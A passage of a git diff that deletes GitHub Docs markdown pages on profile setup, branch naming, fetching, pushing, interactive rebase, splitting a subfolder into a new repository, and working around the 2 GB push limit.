your profile picture, click **Edit profile**. -1. Under "Bio", write one or two sentences about yourself, such as who you are and what you do. - - > [!NOTE] - > Keep the bio short; we'll add a longer description of your interests in your profile README in the section below. - -1. To add an emoji to your bio, visit [Emoji cheat sheet](https://www.webfx.com/tools/emoji-cheat-sheet/) and copy and paste an emoji into the "Bio" dialog box. -1. Optionally, add your {% ifversion profile-pronouns %}preferred pronouns,{% endif %} workplace, location and timezone{% ifversion profile-social-links %}, and any links to your personal website and social accounts{% endif %}. {% ifversion profile-pronouns %}{% data reusables.profile.pronouns-visibility %}{% endif %} -1. Click **Save**. - -## Adding a profile README - -Next, we'll create a special repository and README file that will be displayed directly on your profile page. - -Your profile README contains information such as your interests, skills, and background, and it can be a great way to introduce yourself to other people on {% data variables.product.github %} and showcase your work. - -As we learned in the [AUTOTITLE](/get-started/start-your-journey/hello-world) tutorial, `README.md` files are written using Markdown syntax (note the `.md` file extension), which is just a way to format plain text. - -In the following steps, we'll create and edit your profile README. - -### Step 1: Create a new repository for your profile README - -{% data reusables.profile.create-profile-readme %} - -### Step 2: Edit the `README.md` file - -{% data reusables.profile.edit-profile-readme %} -1. In the "Edit" view, you'll see some pre-populated text to get you started. On line 1, delete the text that says `### Hi there` and type `# About me`. - * In Markdown syntax, `###` renders the plain text as a small ("third-level") heading, while `##` or `#` renders a second- and first-level heading respectively. -1. Toggle to "Preview" to see how the plain text now renders. You should see the new text displayed as a much larger heading. -1. Toggle back to the "Edit" view. -1. Delete line 3 and line 16. - * This HTML syntax (e.g. ` - * period (`.`) - * hyphen (`-`) - * underscore (`_`) - * forward slash (`/`) - - -To avoid confusion, you should start branch names with a letter. - -## Restrictions on names in {% data variables.product.prodname_dotcom %} - -{% data variables.product.prodname_dotcom %} restricts a small number of branch and tag names from being pushed up. -Those restrictions are: -* No names which look like Git object IDs (40 characters containing only 0-9 and A-F), to prevent confusion with actual Git object IDs. -* No names beginning with `refs/`, to prevent confusion with the full name of Git refs. For more information about refs, see [Git References](https://git-scm.com/book/en/v2/Git-Internals-Git-References) in the Git documentation. diff --git a/content/get-started/using-git/getting-changes-from-a-remote-repository.md b/content/get-started/using-git/getting-changes-from-a-remote-repository.md deleted file mode 100644 index 19c18406d750..000000000000 --- a/content/get-started/using-git/getting-changes-from-a-remote-repository.md +++ /dev/null @@ -1,86 +0,0 @@ ---- -title: Getting changes from a remote repository -intro: You can use common Git commands to access remote repositories. -redirect_from: - - /articles/fetching-a-remote - - /articles/getting-changes-from-a-remote-repository - - /github/using-git/getting-changes-from-a-remote-repository - - /github/getting-started-with-github/getting-changes-from-a-remote-repository - - /github/getting-started-with-github/using-git/getting-changes-from-a-remote-repository -versions: - fpt: '*' - ghes: '*' - ghec: '*' -shortTitle: Get changes from a remote ---- -## Options for getting changes - -These commands are very useful when interacting with [a remote repository](/get-started/git-basics/about-remote-repositories). `clone` and `fetch` download remote code from a repository's remote URL to your local computer, `merge` is used to merge different people's work together with yours, and `pull` is a combination of `fetch` and `merge`. - -## Cloning a repository - -To grab a complete copy of another user's repository, use `git clone` like this: - -```shell -$ git clone https://{% data variables.product.product_url %}/USERNAME/REPOSITORY.git -# Clones a repository to your computer -``` - -You can choose from [several different URLs](/get-started/git-basics/about-remote-repositories) when cloning a repository. While logged in to {% data variables.product.prodname_dotcom %}, these URLs are available on the main page of the repository when you click **{% octicon "code" aria-hidden="true" %} Code**. - - ![Screenshot of the main page of a repository. A green "Code" button is outlined in orange and expanded to show the HTTPS URL for the repository.](/assets/images/help/repository/remotes-url-global-nav-update.png) - -When you run `git clone`, the following actions occur: -* A new folder called `repo` is made -* It is initialized as a Git repository -* A remote named `origin` is created, pointing to the URL you cloned from -* All of the repository's files and commits are downloaded there -* The default branch is checked out - -For every branch `foo` in the remote repository, a corresponding remote-tracking branch -`refs/remotes/origin/foo` is created in your local repository. You can usually abbreviate -such remote-tracking branch names to `origin/foo`. - -## Fetching changes from a remote repository - -Use `git fetch` to retrieve new work done by other people. Fetching from a repository grabs all the new remote-tracking branches and tags _without_ merging those changes into your own branches. - -If you already have a local repository with a remote URL set up for the desired project, you can grab all the new information by using `git fetch *remotename*` in the terminal: - -```shell -$ git fetch REMOTE-NAME -# Fetches updates made to a remote repository -``` - -Otherwise, you can always add a new remote and then fetch. For more information, see [AUTOTITLE](/get-started/git-basics/managing-remote-repositories). - -## Merging changes into your local branch - -Merging combines your local changes with changes made by others. - -Typically, you'd merge a remote-tracking branch (i.e., a branch fetched from a remote repository) with your local branch: - -```shell -$ git merge REMOTE-NAME/BRANCH-NAME -# Merges updates made online with your local work -``` - -## Pulling changes from a remote repository - -`git pull` is a convenient shortcut for completing both `git fetch` and `git merge`in the same command: - -```shell -$ git pull REMOTE-NAME BRANCH-NAME -# Grabs online updates and merges them with your local work -``` - -Because `pull` performs a merge on the retrieved changes, you should ensure that -your local work is committed before running the `pull` command. If you run into -[a merge conflict](/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-using-the-command-line) -you cannot resolve, or if you decide to quit the merge, you can use `git merge --abort` -to take the branch back to where it was in before you pulled. - -## Further reading - -* ["Working with Remotes" from the _Pro Git_ book](https://git-scm.com/book/en/v2/Git-Basics-Working-with-Remotes){% ifversion fpt or ghec %} -* [AUTOTITLE](/get-started/using-github/troubleshooting-connectivity-problems){% endif %} diff --git a/content/get-started/using-git/index.md b/content/get-started/using-git/index.md deleted file mode 100644 index b3e0b86c6fd0..000000000000 --- a/content/get-started/using-git/index.md +++ /dev/null @@ -1,29 +0,0 @@ ---- -title: Using Git -intro: 'Use Git to manage your {% data variables.product.github %} repositories from your computer.' -redirect_from: - - /articles/using-common-git-commands - - /github/using-git/using-common-git-commands - - /github/using-git/using-advanced-git-commands - - /categories/52/articles - - /categories/advanced-git - - /articles/using-advanced-git-commands - - /github/using-git/changing-author-info - - /github/getting-started-with-github/using-git -versions: - fpt: '*' - ghes: '*' - ghec: '*' -children: - - /about-git - - /pushing-commits-to-a-remote-repository - - /getting-changes-from-a-remote-repository - - /dealing-with-non-fast-forward-errors - - /splitting-a-subfolder-out-into-a-new-repository - - /about-git-subtree-merges - - /about-git-rebase - - /using-git-rebase-on-the-command-line - - /resolving-merge-conflicts-after-a-git-rebase - - /dealing-with-special-characters-in-branch-and-tag-names - - /troubleshooting-the-2-gb-push-limit ---- diff --git a/content/get-started/using-git/pushing-commits-to-a-remote-repository.md b/content/get-started/using-git/pushing-commits-to-a-remote-repository.md deleted file mode 100644 index 7fcb68f29449..000000000000 --- a/content/get-started/using-git/pushing-commits-to-a-remote-repository.md +++ /dev/null @@ -1,134 +0,0 @@ ---- -title: Pushing commits to a remote repository -intro: Use `git push` to push commits made on your local branch to a remote repository. -redirect_from: - - /articles/pushing-to-a-remote - - /articles/pushing-commits-to-a-remote-repository - - /github/using-git/pushing-commits-to-a-remote-repository - - /github/getting-started-with-github/pushing-commits-to-a-remote-repository - - /github/getting-started-with-github/using-git/pushing-commits-to-a-remote-repository -versions: - fpt: '*' - ghes: '*' - ghec: '*' -shortTitle: Push commits to a remote ---- -## About `git push` - -The `git push` command takes two arguments: - -* A remote name, for example, `origin` -* A branch name, for example, `main` - -For example: - -```shell -git push REMOTE-NAME BRANCH-NAME -``` - -As an example, you usually run `git push origin main` to push your local changes -to your online repository. - -## Renaming branches - -To rename a branch, you'd use the same `git push` command, but you would add -one more argument: the name of the new branch. For example: - -```shell -git push REMOTE-NAME LOCAL-BRANCH-NAME:REMOTE-BRANCH-NAME -``` - -This pushes the `LOCAL-BRANCH-NAME` to your `REMOTE-NAME`, but it is renamed to `REMOTE-BRANCH-NAME`. - -## Dealing with "non-fast-forward" errors - -If your local copy of a repository is out of sync with, or "behind," the upstream -repository you're pushing to, you'll get a message saying `non-fast-forward updates were rejected`. -This means that you must retrieve, or "fetch," the upstream changes, before -you are able to push your local changes. - -For more information on this error, see [AUTOTITLE](/get-started/using-git/dealing-with-non-fast-forward-errors). - -{% ifversion secret-scanning-push-protection-for-users %} - -## Resolving blocked commits - -To maintain the security of the repository you're pushing to, {% data variables.product.github %}'s push protection automatically protects you from accidentally committing secrets to public repositories on {% data variables.product.prodname_dotcom_the_website %}. Exposed secrets can pose serious security risks to your repository and your supply chain. -If {% data variables.product.github %} detects that the commit you're attempting to push contains a supported secret, it blocks the push. In order to resolve the block, you should either: - -* **Remove the secret** from your commit(s). For more information, see [Resolving a blocked push](/code-security/secret-scanning/working-with-secret-scanning-and-push-protection/working-with-push-protection-from-the-command-line#resolving-a-blocked-push). -* **Follow the provided URL** to see options to allow the push. For more information, see [Bypassing push protection](/code-security/secret-scanning/working-with-secret-scanning-and-push-protection/working-with-push-protection-from-the-command-line#bypassing-push-protection) - -To learn more about push protection, see [AUTOTITLE](/code-security/secret-scanning/working-with-secret-scanning-and-push-protection/push-protection-for-users). - -{% endif %} - -## Pushing tags - -By default, and without additional parameters, `git push` sends all matching branches -that have the same names as remote branches. - -To push a single tag, you can issue the same command as pushing a branch: - -```shell -git push REMOTE-NAME TAG-NAME -``` - -To push all your tags, you can type the command: - -```shell -git push REMOTE-NAME --tags -``` - -## Deleting a remote branch or tag - -The syntax to delete a branch is a bit arcane at first glance: - -```shell -git push REMOTE-NAME :BRANCH-NAME -``` - -Note that there is a space before the colon. The command resembles the same steps -you'd take to rename a branch. However, here, you're telling Git to push _nothing_ -into `BRANCH-NAME` on `REMOTE-NAME`. Because of this, `git push` deletes the branch -on the remote repository. - -## Remotes and forks - -You might already know that [you can "fork" repositories](https://guides.github.com/overviews/forking/) on GitHub. - -When you clone a repository you own, you provide it with a remote URL that tells -Git where to fetch and push updates. If you want to collaborate with the original -repository, you'd add a new remote URL, typically called `upstream`, to -your local Git clone: - -```shell -git remote add upstream THEIR_REMOTE_URL -``` - -Now, you can fetch updates and branches from _their_ fork: - -```shell -git fetch upstream -# Grab the upstream remote's branches -> remote: Counting objects: 75, done. -> remote: Compressing objects: 100% (53/53), done. -> remote: Total 62 (delta 27), reused 44 (delta 9) -> Unpacking objects: 100% (62/62), done. -> From https://{% data variables.product.product_url %}/OCTOCAT/REPO -> * [new branch] main -> upstream/main -``` - -When you're done making local changes, you can push your local branch to GitHub -and [initiate a pull request](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests). - -For more information on working with forks, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/working-with-forks/syncing-a-fork). - -## Further reading - -* [The "Remotes" chapter from the "Pro Git" book](https://git-scm.com/book/en/v2/Git-Basics-Working-with-Remotes) -* [`git remote` main page](https://git-scm.com/docs/git-remote.html) -* [AUTOTITLE](/get-started/git-basics/git-cheatsheet) -* [AUTOTITLE](/get-started/git-basics/git-workflows) -* [Git Handbook](https://guides.github.com/introduction/git-handbook/){% ifversion fpt or ghec %} -* [AUTOTITLE](/get-started/using-git/troubleshooting-the-2-gb-push-limit){% endif %} diff --git a/content/get-started/using-git/resolving-merge-conflicts-after-a-git-rebase.md b/content/get-started/using-git/resolving-merge-conflicts-after-a-git-rebase.md deleted file mode 100644 index 2aaa3a9bd3df..000000000000 --- a/content/get-started/using-git/resolving-merge-conflicts-after-a-git-rebase.md +++ /dev/null @@ -1,32 +0,0 @@ ---- -title: Resolving merge conflicts after a Git rebase -intro: 'When you perform a `git rebase` operation, you''re typically moving commits around. Because of this, you might get into a situation where a merge conflict is introduced. That means that two of your commits modified the same line in the same file, and Git doesn''t know which change to apply.' -redirect_from: - - /articles/resolving-merge-conflicts-after-a-git-rebase - - /github/using-git/resolving-merge-conflicts-after-a-git-rebase - - /github/getting-started-with-github/resolving-merge-conflicts-after-a-git-rebase - - /github/getting-started-with-github/using-git/resolving-merge-conflicts-after-a-git-rebase -versions: - fpt: '*' - ghes: '*' - ghec: '*' -shortTitle: Resolve conflicts after rebase ---- -After you reorder and manipulate commits using `git rebase`, should a merge conflict occur, Git will tell you so with the following message printed to the terminal: - -```shell -error: could not apply fa39187... something to add to patch A - -When you have resolved this problem, run "git rebase --continue". -If you prefer to skip this patch, run "git rebase --skip" instead. -To check out the original branch and stop rebasing, run "git rebase --abort". -Could not apply fa39187f3c3dfd2ab5faa38ac01cf3de7ce2e841... Change fake file -``` - -Here, Git is telling you which commit is causing the conflict (`fa39187`). You're given three choices: - -* You can run `git rebase --abort` to completely undo the rebase. Git will return you to your branch's state as it was before `git rebase` was called. -* You can run `git rebase --skip` to completely skip the commit. That means that none of the changes introduced by the problematic commit will be included. It is very rare that you would choose this option. -* You can fix the conflict. - -To fix the conflict, you can follow [the standard procedures for resolving merge conflicts from the command line](/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-using-the-command-line). When you're finished, you'll need to call `git rebase --continue` in order for Git to continue processing the rest of the rebase. diff --git a/content/get-started/using-git/splitting-a-subfolder-out-into-a-new-repository.md b/content/get-started/using-git/splitting-a-subfolder-out-into-a-new-repository.md deleted file mode 100644 index a6f8c7e6cbc6..000000000000 --- a/content/get-started/using-git/splitting-a-subfolder-out-into-a-new-repository.md +++ /dev/null @@ -1,90 +0,0 @@ ---- -title: Splitting a subfolder out into a new repository -redirect_from: - - /articles/splitting-a-subpath-out-into-a-new-repository - - /articles/splitting-a-subfolder-out-into-a-new-repository - - /github/using-git/splitting-a-subfolder-out-into-a-new-repository - - /github/getting-started-with-github/splitting-a-subfolder-out-into-a-new-repository - - /github/getting-started-with-github/using-git/splitting-a-subfolder-out-into-a-new-repository -intro: You can turn a folder within a Git repository into a brand new repository. -versions: - fpt: '*' - ghes: '*' - ghec: '*' -shortTitle: Splitting a subfolder ---- - -> [!NOTE] -> You need Git version 2.22.0 or later to follow these instructions, otherwise `git filter-repo` will not work. - -If you create a new clone of the repository, you won't lose any of your Git history or changes when you split a folder into a separate repository. However, note that the new repository won't have the branches and tags of the original repository. - -{% data reusables.command_line.open_the_multi_os_terminal %} - -1. Change the current working directory to the location where you want to create your new repository. - -1. Clone the repository that contains the subfolder. - - ```shell - git clone https://{% data variables.product.product_url %}/USERNAME/REPOSITORY-NAME - ``` - -1. Change the current working directory to your cloned repository. - - ```shell - cd REPOSITORY-NAME - ``` - -1. To filter out the subfolder from the rest of the files in the repository, install [`git-filter-repo`](https://github.com/newren/git-filter-repo), then run `git filter-repo` with the following arguments. - * `FOLDER-NAME`: The folder within your project where you'd like to create a separate repository. - - {% windows %} - - > [!TIP] - > Windows users should use `/` to delimit folders. - - {% endwindows %} - - ```shell - $ git filter-repo --path FOLDER-NAME/ - # Filter the specified branch in your directory and remove empty commits - ``` - - The repository should now only contain the files that were in your subfolder(s). - - If you want one specific subfolder to be the new root folder of the new repository, you can use the following command: - - ```shell - $ git filter-repo --subdirectory-filter FOLDER-NAME - # Filter the specific branch by using a single sub-directory as the root for the new repository - ``` - -1. [Create a new repository](/repositories/creating-and-managing-repositories/creating-a-new-repository) on {% data variables.product.github %}. - -1. At the top of your new repository on {% data variables.product.prodname_dotcom %}'s Quick Setup page, click {% octicon "copy" aria-label="Copy to clipboard" %} to copy the remote repository URL. - - ![Screenshot of the "Quick Setup" header in a repository. Next to the remote URL, an icon of two overlapping squares is outlined in orange.](/assets/images/help/repository/copy-remote-repository-url-quick-setup.png) - - > [!TIP] - > For information on the difference between HTTPS and SSH URLs, see [AUTOTITLE](/get-started/git-basics/about-remote-repositories). - -1. Add a new remote name with the URL you copied for your repository. For example, `origin` or `upstream` are two common choices. - - ```shell - git remote add origin https://{% data variables.product.product_url %}/USERNAME/REPOSITORY-NAME.git - ``` - -1. Verify that the remote URL was added with your new repository name. - - ```shell - $ git remote -v - # Verify new remote URL - > origin https://{% data variables.product.product_url %}/USERNAME/NEW-REPOSITORY-NAME.git (fetch) - > origin https://{% data variables.product.product_url %}/USERNAME/NEW-REPOSITORY-NAME.git (push) - ``` - -1. Push your changes to the new repository on {% data variables.product.github %}. - - ```shell - git push -u origin BRANCH-NAME - ``` diff --git a/content/get-started/using-git/troubleshooting-the-2-gb-push-limit.md b/content/get-started/using-git/troubleshooting-the-2-gb-push-limit.md deleted file mode 100644 index 324d356b2a53..000000000000 --- a/content/get-started/using-git/troubleshooting-the-2-gb-push-limit.md +++ /dev/null @@ -1,71 +0,0 @@ ---- -title: Troubleshooting the 2 GB push limit -intro: 'Learn how to work around the 2 GB push limit.' -versions: - fpt: '*' - ghec: '*' -shortTitle: Maximum push limit ---- - -## About the push limit - -{% data variables.product.prodname_dotcom %} has a maximum 2 GB limit for a single push. You might hit this limit when trying to upload very large repositories for the first time, importing large repositories from other platforms, or when trying to rewrite the history of large existing repositories. - -If you hit this limit, you may see one of the following error messages: - -* `fatal: the remote end hung up unexpectedly` -* `remote: fatal: pack exceeds maximum allowed size` - -You can either split up your push into smaller parts, or delete the Git history and start from scratch. If you have made a single commit that's larger than 2 GB and you can't delete the Git history and start from scratch, then you will need to perform an interactive rebase to split the large commit into multiple smaller ones. - -## Splitting up a large push - -You can avoid hitting the limit by breaking your push into smaller parts, each of which should be under 2 GB in size. If a branch is within this size limit, you can push it all at once. However, if a branch is larger than 2 GB, you'll need to split the push into even smaller portions and push only a few commits at a time. - -1. If you haven't configured the remote yet, add the repository as a new remote. For more information, see [AUTOTITLE](/get-started/git-basics/managing-remote-repositories#adding-a-remote-repository). -1. To find suitable commits spread out along the history of the main branch in your local repository, run the following command: - - ```shell - git log --oneline --reverse refs/heads/BRANCH-NAME | awk 'NR % 1000 == 0' - ``` - - This command reveals every 1000th commit. You can increase or decrease the number to adjust the step size. - -1. Push each of these commits one at a time to your {% data variables.product.prodname_dotcom %} hosted repository. - - ```shell - git push REMOTE-NAME +:refs/heads/BRANCH-NAME - ``` - - If you see the message `remote: fatal: pack exceeds maximum allowed size`, reduce the step size in step 2 and try again. - -1. Go through the same process for every commit you identified in the history from step 2. -1. If this is the first time this repository is being pushed to {% data variables.product.prodname_dotcom %}, perform a final mirror push to ensure any remaining refs are pushed up. - - ```shell - git push REMOTE-NAME --mirror - ``` - - If this is still too large, you'll need to push up other branches in stages using the same steps. - -Once you're familiar with the procedure, you can automate steps 2 to 4 to simplify the process. For example: - -```shell -step_commits=$(git log --oneline --reverse refs/heads/BRANCH-NAME | awk 'NR % 1000 == 0') -echo "$step_commits" | while read commit message; do git push REMOTE-NAME +$commit:refs/heads/BRANCH-NAME; done -``` - -## Starting from scratch - -If the repository does not have any history, or your initial commit was over 2 GB on its own and you don't mind resetting the Git history, you can also start from scratch. - -1. On your local copy, delete the hidden `.git` folder to remove all the previous Git history and convert it back into a normal folder full of files. -1. Create a new empty folder. -1. Run `git init` and `git lfs install` on the new folder, and add the new empty {% data variables.product.prodname_dotcom %} repository as a remote. -1. If you already use {% data variables.large_files.product_name_long %} and have all of the {% data variables.large_files.product_name_short %} tracking rules you intend to use already listed in the `.gitattributes` file in the old folder, that should be the first file you copy across to the new folder. You should ensure the tracking rules are in place before you add any other files, so that there's no chance things intended for {% data variables.large_files.product_name_short %} will be committed to regular Git storage. - - If you do not already use {% data variables.large_files.product_name_short %}, you can skip this step, or you can set up the tracking rules you intend to use in the `.gitattributes` file in the new folder before you copy any other files across. For more information, see [AUTOTITLE](/repositories/working-with-files/managing-large-files/configuring-git-large-file-storage). - -1. Move batches of files that are smaller than 2 GB from the old folder to the new folder. After each batch is moved, create a commit and push it before moving the next batch. You can take a cautious approach and stick to around 2 GB. Alternatively, if you have a folder with files meant for {% data variables.large_files.product_name_short %}, you can ignore those files when considering the 2 GB limit per batch. - -Once the old folder is empty, the {% data variables.product.prodname_dotcom %} repository should contain everything. If you are using {% data variables.large_files.product_name_short %}, all files meant for {% data variables.large_files.product_name_short %} should be pushed to {% data variables.large_files.product_name_short %} storage. diff --git a/content/get-started/using-git/using-git-rebase-on-the-command-line.md b/content/get-started/using-git/using-git-rebase-on-the-command-line.md deleted file mode 100644 index 414d716193f2..000000000000 --- a/content/get-started/using-git/using-git-rebase-on-the-command-line.md +++ /dev/null @@ -1,144 +0,0 @@ ---- -title: Using Git rebase on the command line -redirect_from: - - /articles/using-git-rebase - - /articles/using-git-rebase-on-the-command-line - - /github/using-git/using-git-rebase-on-the-command-line - - /github/getting-started-with-github/using-git-rebase-on-the-command-line - - /github/getting-started-with-github/using-git/using-git-rebase-on-the-command-line -intro: Here's a short tutorial on using `git rebase` on the command line. -versions: - fpt: '*' - ghes: '*' - ghec: '*' -shortTitle: Git rebase ---- -## Using Git rebase - -In this example, we will cover all of the `git rebase` commands available, except for `exec`. - -We'll start our rebase by entering `git rebase --interactive HEAD~7` on the terminal. Our favorite text editor will display the following lines: - -```text -pick 1fc6c95 Patch A -pick 6b2481b Patch B -pick dd1475d something I want to split -pick c619268 A fix for Patch B -pick fa39187 something to add to patch A -pick 4ca2acc i cant' typ goods -pick 7b36971 something to move before patch B -``` - -In this example, we're going to: - -* Squash the fifth commit (`fa39187`) into the `"Patch A"` commit (`1fc6c95`), using `squash`. -* Move the last commit (`7b36971`) up before the `"Patch B"` commit (`6b2481b`), and keep it as `pick`. -* Merge the `"A fix for Patch B"` commit (`c619268`) into the `"Patch B"` commit (`6b2481b`), and disregard the commit message using `fixup`. -* Split the third commit (`dd1475d`) into two smaller commits, using `edit`. -* Fix the commit message of the misspelled commit (`4ca2acc`), using `reword`. - -Phew! This sounds like a lot of work, but by taking it one step at a time, we can easily make those changes. - -To start, we'll need to modify the commands in the file to look like this: - -```text -pick 1fc6c95 Patch A -squash fa39187 something to add to patch A -pick 7b36971 something to move before patch B -pick 6b2481b Patch B -fixup c619268 A fix for Patch B -edit dd1475d something I want to split -reword 4ca2acc i cant' typ goods -``` - -We've changed each line's command from `pick` to the command we're interested in. - -Now, save and close the editor; this will start the interactive rebase. - -Git skips the first rebase command, `pick 1fc6c95`, since it doesn't need to do anything. It goes to the next command, `squash fa39187`. Since this operation requires your input, Git opens your text editor once again. The file it opens up looks something like this: - -```text -# This is a combination of two commits. -# The first commit's message is: - -Patch A - -# This is the 2nd commit message: - -something to add to patch A - -# Please enter the commit message for your changes. Lines starting -# with '#' will be ignored, and an empty message aborts the commit. -# Not currently on any branch. -# Changes to be committed: -# (use "git reset HEAD ..." to unstage) -# -# modified: a -# -``` - -This file is Git's way of saying, "Hey, here's what I'm about to do with this `squash`." It lists the first commit's message (`"Patch A"`), and the second commit's message (`"something to add to patch A"`). If you're happy with these commit messages, you can save the file, and close the editor. Otherwise, you have the option of changing the commit message by simply changing the text. - -When the editor is closed, the rebase continues: - -```text -pick 1fc6c95 Patch A -squash fa39187 something to add to patch A -pick 7b36971 something to move before patch B -pick 6b2481b Patch B -fixup c619268 A fix for Patch B -edit dd1475d something I want to split -reword 4ca2acc i cant' typ goods -``` - -Git processes the two `pick` commands (for `pick 7b36971` and `pick 6b2481b`). It _also_ processes the `fixup` command (`fixup c619268`), since it doesn't require any interaction. `fixup` merges the changes from `c619268` into the commit before it, `6b2481b`. Both changes will have the same commit message: `"Patch B"`. - -Git gets to the `edit dd1475d` operation, stops, and prints the following message to the terminal: - -```shell -You can amend the commit now, with - - git commit --amend - -Once you are satisfied with your changes, run - - git rebase --continue -``` - -At this point, you can edit any of the files in your project to make any additional changes. For each change you make, you'll need to perform a new commit, and you can do that by entering the `git commit --amend` command. When you're finished making all your changes, you can run `git rebase --continue`. - -Git then gets to the `reword 4ca2acc` command. It opens up your text editor one more time, and presents the following information: - -```text -i cant' typ goods - -# Please enter the commit message for your changes. Lines starting -# with '#' will be ignored, and an empty message aborts the commit. -# Not currently on any branch. -# Changes to be committed: -# (use "git reset HEAD^1 ..." to unstage) -# -# modified: a -# -``` - -As before, Git is showing the commit message for you to edit. You can change the text (`"i cant' typ goods"`), save the file, and close the editor. Git will finish the rebase and return you to the terminal. - -## Pushing rebased code to GitHub - -Since you've altered Git history, the usual `git push origin` **will not** work. You'll need to modify the command by "force-pushing" your latest changes: - -```shell -# Don't override changes -$ git push origin main --force-with-lease - -# Override changes -$ git push origin main --force -``` - -> [!WARNING] -> Force pushing has serious implications because it changes the historical sequence of commits for the branch. Use it with caution, especially if your repository is being accessed by multiple people. - -## Further reading - -* [AUTOTITLE](/get-started/using-git/resolving-merge-conflicts-after-a-git-rebase) diff --git a/content/get-started/using-github-docs/about-versions-of-github-docs.md b/content/get-started/using-github-docs/about-versions-of-github-docs.md deleted file mode 100644 index f77ef279c4d5..000000000000 --- a/content/get-started/using-github-docs/about-versions-of-github-docs.md +++ /dev/null @@ -1,58 +0,0 @@ ---- -title: About versions of GitHub Docs -intro: 'You can read documentation that reflects the {% data variables.product.company_short %} product you''re currently using.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -shortTitle: Docs versions -redirect_from: - - /get-started/learning-about-github/about-versions-of-github-docs ---- - -## About versions of {% data variables.product.prodname_docs %} - -{% data variables.product.company_short %} offers different plans for storing and collaborating on code. The plan you use determines which features are available to you. For more information, see [AUTOTITLE](/get-started/learning-about-github/githubs-plans). - -This website, {% data variables.product.prodname_docs %}, provides documentation for all of {% data variables.product.company_short %}'s plans. If the content you're reading applies to more than one plan, you can choose the version of the documentation that's relevant to you by selecting the plan you're currently using. - -At the top of a page on {% data variables.product.prodname_docs %}, select the dropdown menu and click a plan. If your browser window is not wide enough to display the full navigation bar, you may need to click {% octicon "kebab-horizontal" aria-label="Open Menu Bar" %} first. - -![Screenshot of the header of {% data variables.product.prodname_docs %}. The "Version" dropdown menu is expanded and highlighted with an orange outline.](/assets/images/help/docs/version-picker.png) - -> [!NOTE] -> You can try changing the version now. You're viewing {% ifversion ghes %}a{% else %}the{% endif %} **{% ifversion fpt %}Free, Pro, & Team{% elsif ghec %}{% data variables.product.prodname_ghe_cloud %}{% elsif ghes %}{% data variables.product.prodname_ghe_server %}{% endif %}** version of this article. - -## Determining which {% data variables.product.company_short %} product you use - -You can determine which {% data variables.product.company_short %} plan you're currently using by reviewing the URL in the address bar of your browser and the heading for the {% data variables.product.prodname_dotcom %} website you're on. - -You may use more than one {% data variables.product.company_short %} plan. For example, you might contribute to open source on {% data variables.product.prodname_dotcom_the_website %} and collaborate on code on your employer's {% data variables.product.prodname_ghe_server %} instance. You may need to view different versions of the same article at different times, depending on the problem you're currently trying to solve. - -### {% data variables.product.prodname_dotcom_the_website %} plans or {% data variables.product.prodname_ghe_cloud %} - -If you access {% data variables.product.prodname_dotcom %} at https://github.com, you're either using the features of a Free, Pro, or Team plan, or you're using {% data variables.product.prodname_ghe_cloud %}. - -On {% data variables.product.prodname_dotcom_the_website %}, each account has its own plan. Each personal account has an associated plan that provides access to certain features, and each organization has a different associated plan. If your personal account is a member of an organization on {% data variables.product.prodname_dotcom %}, you may have access to different features when you use resources owned by that organization than when you use resources owned by your personal account. For more information, see [AUTOTITLE](/get-started/learning-about-github/types-of-github-accounts). - -If you don't know whether an organization uses {% data variables.product.prodname_ghe_cloud %}, ask an organization owner. For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/viewing-peoples-roles-in-an-organization). - -### {% data variables.enterprise.data_residency_site %} - -If you access {% data variables.product.github %} at a subdomain of {% data variables.enterprise.data_residency_site %}, such as `octocorp.ghe.com`, you're part of an enterprise that uses {% data variables.enterprise.data_residency %}. You should use the "{% data variables.product.prodname_ghe_cloud %}" version of {% data variables.product.prodname_docs %}. - -Because you're using a {% data variables.enterprise.prodname_managed_user %}, certain parts of the documentation may not apply to you. See [AUTOTITLE](/enterprise-cloud@latest/admin/managing-iam/understanding-iam-for-enterprises/abilities-and-restrictions-of-managed-user-accounts). - -If you see references to "github.com" in the documentation, you may need to substitute these references for your enterprise's subdomain on {% data variables.enterprise.data_residency_site %}. For example, you will make API calls to `https://{% data variables.enterprise.data_residency_api %}`, rather than `https://api.github.com`. - -### {% data variables.product.prodname_ghe_server %} - -If you access {% data variables.product.prodname_dotcom %} at a URL **other than** https://github.com, `https://*.github.us`, or `https://*.ghe.com`, you're using {% data variables.product.prodname_ghe_server %}. For example, you may access {% data variables.product.prodname_ghe_server %} at `https://github.YOUR-COMPANY-NAME.com`. Your administrators may choose a URL that doesn't include the word "{% data variables.product.company_short %}." - -In a wide browser window, the word "Enterprise" immediately follows the {% data variables.product.company_short %} logo on the left side of the header. - -![Screenshot of the header of any page on {% data variables.product.prodname_dotcom %}. The {% data variables.product.prodname_dotcom %} logo and "Enterprise" are highlighted with an orange outline.](/assets/images/help/docs/header-ghes.png) - -You can view the version of {% data variables.product.prodname_ghe_server %} that you're using in the footer of any page. - -![Screenshot of the footer of {% data variables.product.prodname_ghe_server %}. "{% data variables.product.prodname_ghe_server %} 3.7.5" is highlighted with an orange outline.](/assets/images/help/docs/ghes-version-in-footer.png) diff --git a/content/get-started/using-github-docs/index.md b/content/get-started/using-github-docs/index.md deleted file mode 100644 index 94e2a949b772..000000000000 --- a/content/get-started/using-github-docs/index.md +++ /dev/null @@ -1,11 +0,0 @@ ---- -title: Using GitHub Docs -intro: 'Learn about different features of {% data variables.product.prodname_docs %} and how to navigate the content the way that is best for you.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -children: - - /about-versions-of-github-docs - - /using-hover-cards-on-github-docs ---- diff --git a/content/get-started/using-github-docs/using-hover-cards-on-github-docs.md b/content/get-started/using-github-docs/using-hover-cards-on-github-docs.md deleted file mode 100644 index 80dbf2fd182c..000000000000 --- a/content/get-started/using-github-docs/using-hover-cards-on-github-docs.md +++ /dev/null @@ -1,25 +0,0 @@ ---- -title: Using hover cards on GitHub Docs -intro: 'Hover cards give you information about other articles on {% data variables.product.prodname_docs %}.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -shortTitle: Hover cards -redirect_from: - - /get-started/learning-about-github/using-hover-cards-on-github-docs ---- - -## About hover cards - -When you're reading an article on {% data variables.product.prodname_docs %} and find a link to another article, you can open a hover card 